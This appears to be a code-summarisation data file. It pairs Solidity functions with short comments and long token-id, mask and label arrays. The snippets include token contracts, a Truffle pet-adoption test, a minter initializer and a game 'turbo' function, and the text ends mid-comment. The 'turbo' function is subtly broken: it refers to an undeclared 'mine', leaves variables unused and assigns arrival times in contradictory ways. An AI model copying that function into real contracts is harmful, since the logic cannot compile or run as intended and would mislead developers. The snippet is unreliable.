function receiveApproval(address _from, uint256 _value, address _token, bytes memory _extraData) public {
require(_token == tokenAddress);
require(_value > 0);
require(_value <= tokenLeft);
ERC20 token = ERC20(_token);
if (token.transferFrom(_from, address(this), _value)) {
balanceOf[_from] = SafeMath.safeAdd(balanceOf[_from], _value);
tokenLeft = SafeMath.safeSub(tokenLeft, _value);
emit Mapping(_from, _value, _extraData);
}
}
function burn(uint256 _value, string memory _zvAddr) public {
require(_value > 0);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);// Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply, _value);
emit Burn(msg.sender, _value, _zvAddr);// Notify
}
function () external payable {
}
// transfer balance to owner
function withdrawEther(uint256 _amount) public onlyOwner{
msg.sender.transfer(_amount);
}
} | transfer balance to owner | function withdrawEther(uint256 _amount) public onlyOwner{
msg.sender.transfer(_amount);
}
| 6,362,554 | [
1,
13866,
11013,
358,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
41,
1136,
12,
11890,
5034,
389,
8949,
13,
1071,
1338,
5541,
95,
203,
3639,
1234,
18,
15330,
18,
13866,
24899,
8949,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
// you can write tests in JS or Solidity, below is Solidity
// gives us assertions to use in our tests like checking for equality
import "truffle/Assert.sol";
// this test contract gets the address of the deployed contract
import "truffle/DeployedAddresses.sol";
// the contract we want to test
import "../contracts/Adoption.sol";
// testing the smart contract Adoption
contract TestAdoption {
// assigning a variable to result of invoking the Adoption contract to be tested to find its address
Adoption adoption = Adoption(DeployedAddresses.Adoption());
uint expectedPetId = 8;
// set the adopter address to the address of this test contract since this test contract will send transaction
address expectedAdopter = address(this);
// testing the adopt func inside the contract
function testUserCanAdoptPet() public {
uint returnedId = adoption.adopt(expectedPetId);
Assert.equal(returnedId, expectedPetId, "Adoption of the expected pet should match what is returned.");
}
// Testing retrieval of a single pet's owner
function testGetAdopterAddressByPetId() public {
address adopter = adoption.adopters(expectedPetId);
Assert.equal(adopter, expectedAdopter, "Owner of the expected pet should be this contract");
}
// Testing retrieval of all pet owners
function testGetAdopterAddressByPetIdInArray() public {
// Store adopters in memory temporarily rather than in contract's storage
address[16] memory adopters = adoption.getAdopters();
Assert.equal(adopters[expectedPetId], expectedAdopter, "Owner of the expected pet should be this contract");
}
}
| Testing retrieval of a single pet's owner | function testGetAdopterAddressByPetId() public {
address adopter = adoption.adopters(expectedPetId);
Assert.equal(adopter, expectedAdopter, "Owner of the expected pet should be this contract");
}
| 12,709,872 | [
1,
22218,
22613,
434,
279,
2202,
293,
278,
1807,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
1842,
967,
1871,
3838,
264,
1887,
858,
52,
278,
548,
1435,
1071,
288,
203,
565,
1758,
1261,
3838,
264,
273,
1261,
3482,
18,
361,
3838,
414,
12,
3825,
52,
278,
548,
1769,
203,
203,
565,
5452,
18,
9729,
12,
361,
3838,
264,
16,
2665,
1871,
3838,
264,
16,
315,
5541,
434,
326,
2665,
293,
278,
1410,
506,
333,
6835,
8863,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/44787/0x77e14AF6f9306D238Fa69F705c82040c2649F6Ec/sources/contracts/rewards/MPHMinter.sol | setup initial roles only accounts with the whitelister role can whitelist pools | function __MPHMinter_init_unchained(
address _mph,
address _govTreasury,
address _devWallet,
address _vesting02,
uint256 _devRewardMultiplier,
uint256 _govRewardMultiplier
) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _govTreasury);
_setupRole(WHITELISTER_ROLE, _govTreasury);
_setRoleAdmin(WHITELISTED_POOL_ROLE, WHITELISTER_ROLE);
mph = MPHToken(_mph);
govTreasury = _govTreasury;
devWallet = _devWallet;
vesting02 = Vesting02(_vesting02);
devRewardMultiplier = _devRewardMultiplier;
govRewardMultiplier = _govRewardMultiplier;
}
| 13,247,949 | [
1,
8401,
2172,
4900,
1338,
9484,
598,
326,
600,
305,
292,
1249,
2478,
848,
10734,
16000,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1001,
4566,
44,
49,
2761,
67,
2738,
67,
4384,
8707,
12,
203,
3639,
1758,
389,
81,
844,
16,
203,
3639,
1758,
389,
75,
1527,
56,
266,
345,
22498,
16,
203,
3639,
1758,
389,
5206,
16936,
16,
203,
3639,
1758,
389,
90,
10100,
3103,
16,
203,
3639,
2254,
5034,
389,
5206,
17631,
1060,
23365,
16,
203,
3639,
2254,
5034,
389,
75,
1527,
17631,
1060,
23365,
203,
565,
262,
2713,
12562,
288,
203,
3639,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
389,
75,
1527,
56,
266,
345,
22498,
1769,
203,
3639,
389,
8401,
2996,
12,
16861,
7085,
654,
67,
16256,
16,
389,
75,
1527,
56,
266,
345,
22498,
1769,
203,
203,
3639,
389,
542,
2996,
4446,
12,
16861,
7085,
2056,
67,
20339,
67,
16256,
16,
24353,
7085,
654,
67,
16256,
1769,
203,
203,
3639,
312,
844,
273,
490,
8939,
1345,
24899,
81,
844,
1769,
203,
3639,
31841,
56,
266,
345,
22498,
273,
389,
75,
1527,
56,
266,
345,
22498,
31,
203,
3639,
4461,
16936,
273,
389,
5206,
16936,
31,
203,
3639,
331,
10100,
3103,
273,
776,
10100,
3103,
24899,
90,
10100,
3103,
1769,
203,
3639,
4461,
17631,
1060,
23365,
273,
389,
5206,
17631,
1060,
23365,
31,
203,
3639,
31841,
17631,
1060,
23365,
273,
389,
75,
1527,
17631,
1060,
23365,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x55E241F22E0219A169f76Cd93A0DEc5B40948882/sources/project_/contracts/MineCore.sol | -- todo-- burn nfts here/ | function turbo(uint256 tokenId, uint256 amount) public notPaused reentrancyGuard{
PlayerInfo memory playerInfo = _playerInfo(msg.sender);
require(playerInfo.isInitialized, "player not inited");
uint256 t = SafeMath.mul(MineUtils._tokenIdToSecond(tokenId), amount);
uint256 loc = playerInfo.location;
require(loc > 0, "player location is zero");
_darwin1155().burn(msg.sender, tokenId, amount);
MineTypes.ArrivalData[] storage mineArrivals = _mineArrivalArr(loc);
for (uint256 i = 0; i < mineArrivals.length; i++) {
if (mineArrivals[i].player == msg.sender) {
uint256 departureTime;
uint256 arrivalTime;
if(t >= mineArrivals[i].arrivalTime){
mineArrivals[i].arrivalTime = mineArrivals[i].departureTime;
mineArrivals[i].arrivalTime = SafeMath.sub(mineArrivals[i].arrivalTime, t);
}
if(mineArrivals[i].arrivalTime < mineArrivals[i].departureTime){
mineArrivals[i].arrivalTime = mineArrivals[i].departureTime;
}
break;
}
}
_applyPendingEvents(
_mine(loc),
_mineArrivalArr(loc),
_playerInfoMap()
);
uint256 endTime;
require(mine.owner == msg.sender, "The mine is not yours");
require(mine.endTime > block.timestamp, "The mine not need to boost");
if(t > mine.endTime){
mine.endTime = block.timestamp;
mine.endTime = SafeMath.sub(mine.endTime, t);
}
_claim(loc);
}
| 3,765,338 | [
1,
413,
10621,
413,
18305,
290,
1222,
87,
2674,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
268,
295,
1075,
12,
11890,
5034,
1147,
548,
16,
2254,
5034,
3844,
13,
1071,
486,
28590,
283,
8230,
12514,
16709,
95,
203,
3639,
19185,
966,
3778,
7291,
966,
273,
389,
14872,
966,
12,
3576,
18,
15330,
1769,
203,
203,
3639,
2583,
12,
14872,
966,
18,
291,
11459,
16,
315,
14872,
486,
1208,
329,
8863,
203,
203,
3639,
2254,
5034,
268,
273,
14060,
10477,
18,
16411,
12,
49,
558,
1989,
6315,
2316,
28803,
8211,
12,
2316,
548,
3631,
3844,
1769,
203,
203,
3639,
2254,
5034,
1515,
273,
7291,
966,
18,
3562,
31,
203,
3639,
2583,
12,
1829,
405,
374,
16,
315,
14872,
2117,
353,
3634,
8863,
203,
203,
203,
203,
3639,
389,
28076,
2499,
2539,
7675,
70,
321,
12,
3576,
18,
15330,
16,
1147,
548,
16,
3844,
1769,
203,
203,
5411,
490,
558,
2016,
18,
5715,
5162,
751,
8526,
2502,
312,
558,
5715,
427,
1031,
273,
389,
3081,
5715,
5162,
5715,
12,
1829,
1769,
203,
5411,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
312,
558,
5715,
427,
1031,
18,
2469,
31,
277,
27245,
288,
203,
7734,
309,
261,
3081,
5715,
427,
1031,
63,
77,
8009,
14872,
422,
1234,
18,
15330,
13,
288,
203,
13491,
2254,
5034,
26000,
594,
950,
31,
203,
13491,
2254,
5034,
2454,
5162,
950,
31,
203,
10792,
309,
12,
88,
1545,
312,
558,
5715,
427,
1031,
63,
77,
8009,
5399,
5162,
950,
15329,
203,
18701,
312,
558,
5715,
427,
1031,
63,
77,
8009,
5399,
5162,
950,
273,
312,
558,
5715,
427,
1031,
63,
77,
8009,
323,
2680,
2
] |
./partial_match/1/0x800E48366b3dc4D93114246D52B98Adb48aD83CB/sources/contracts/libraries/Stake.sol | * @dev Maximum period that someone can lock a stake for./ | uint256 internal constant MAX_STAKE_PERIOD = 365 days;
| 4,408,531 | [
1,
13528,
3879,
716,
18626,
848,
2176,
279,
384,
911,
364,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
2713,
5381,
4552,
67,
882,
37,
6859,
67,
28437,
273,
21382,
4681,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/// @title ERC-20 interface
/// @dev Full ERC-20 interface is described at https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.
interface ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
/// @title ERC-677 (excluding ERC-20) interface
/// @dev Full ERC-677 interface is discussed at https://github.com/ethereum/EIPs/issues/677.
interface ERC677 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(address to, uint256 value, bytes data) external returns (bool);
}
/// @title ERC-677 mint/burn/claim extension interface
/// @dev Extension of ERC-677 interface for allowing using a token in Token Bridge.
interface ERC677Bridgeable {
event Mint(address indexed receiver, uint256 value);
event Burn(address indexed burner, uint256 value);
function mint(address receiver, uint256 value) external returns (bool);
function burn(uint256 value) external;
function claimTokens(address token, address to) external;
}
/// @title SafeMath
/// @dev Math operations with safety checks that throw on error.
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title SafeOwnable
/// @dev The SafeOwnable contract has an owner address, and provides basic authorization control
/// functions, this simplifies the implementation of "user permissions".
contract SafeOwnable {
// EVENTS
event OwnershipProposed(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// PUBLIC FUNCTIONS
/// @dev The SafeOwnable constructor sets the original `owner` of the contract to the sender account.
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/// @dev Allows the current owner to propose control of the contract to a new owner.
/// @param newOwner The address to propose ownership to.
function proposeOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0) && newOwner != _owner);
_ownerCandidate = newOwner;
emit OwnershipProposed(_owner, _ownerCandidate);
}
/// @dev Allows the current owner candidate to accept proposed ownership and set actual owner of a contract.
function acceptOwnership() public onlyOwnerCandidate {
emit OwnershipTransferred(_owner, _ownerCandidate);
_owner = _ownerCandidate;
_ownerCandidate = address(0);
}
/// @dev Returns the address of the owner.
function owner() public view returns (address) {
return _owner;
}
/// @dev Returns the address of the owner candidate.
function ownerCandidate() public view returns (address) {
return _ownerCandidate;
}
// MODIFIERS
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
/// @dev Throws if called by any account other than the owner candidate.
modifier onlyOwnerCandidate() {
require(msg.sender == _ownerCandidate);
_;
}
// FIELDS
address internal _owner;
address internal _ownerCandidate;
}
/// @title Standard ERC-20 token
/// @dev Implementation of the basic ERC-20 token.
contract TokenERC20 is ERC20 {
using SafeMath for uint256;
// PUBLIC FUNCTIONS
/// @dev Transfers tokens to a specified address.
/// @param to The address to transfer tokens to.
/// @param value The amount of tokens to be transferred.
/// @return A boolean that indicates if the operation was successful.
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/// @dev Transfers tokens from one address to another.
/// @param from The address to transfer tokens from.
/// @param to The address to transfer tokens to.
/// @param value The amount of tokens to be transferred.
/// @return A boolean that indicates if the operation was successful.
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_decreaseAllowance(from, msg.sender, value);
_transfer(from, to, value);
return true;
}
/// @dev Approves a specified address to spend a specified amount of tokens on behalf of msg.sender.
/// Beware that changing an allowance with this method brings the risk that someone may use both the old
/// and the new allowance by an unfortunate transaction ordering. One possible solution to mitigate this
/// rare condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
/// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
/// @param spender Address which will be allowed to spend the tokens.
/// @param value Amount of tokens to allow to be spent.
/// @return A boolean that indicates if the operation was successful.
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Increases the amount of tokens that an owner allowed to spent by the spender.
/// Method approve() should be called when _allowances[spender] == 0. To decrement allowance
/// is better to use this function to avoid 2 calls (and wait until the first transaction is mined).
/// @param spender The address which will spend the tokens.
/// @param value The amount of tokens to increase the allowance by.
/// @return A boolean that indicates if the operation was successful.
function increaseAllowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_increaseAllowance(msg.sender, spender, value);
return true;
}
/// @dev Decreases the amount of tokens that an owner allowed to spent by the spender.
/// Method approve() should be called when _allowances[spender] == 0. To decrement allowance
/// is better to use this function to avoid 2 calls (and wait until the first transaction is mined).
/// @param spender The address which will spend the tokens.
/// @param value The amount of tokens to decrease the allowance by.
/// @return A boolean that indicates if the operation was successful.
function decreaseAllowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_decreaseAllowance(msg.sender, spender, value);
return true;
}
/// @dev Returns total amount of tokens in existence.
/// @return A uint256 representing the amount of tokens in existence.
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/// @dev Gets the balance of a specified address.
/// @param owner The address to query the balance of.
/// @return A uint256 representing the amount of tokens owned by the specified address.
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/// @dev Function to check the amount of tokens that an owner allowed to spend by the spender.
/// @param owner The address which owns the tokens.
/// @param spender The address which will spend the tokens.
/// @return A uint256 representing the amount of tokens still available to spend by the spender.
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
// INTERNAL FUNCTIONS
/// @dev Transfers tokens from one address to another address.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
require(value <= _balances[from]);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/// @dev Increases the amount of tokens that an owner allowed to spent by the spender.
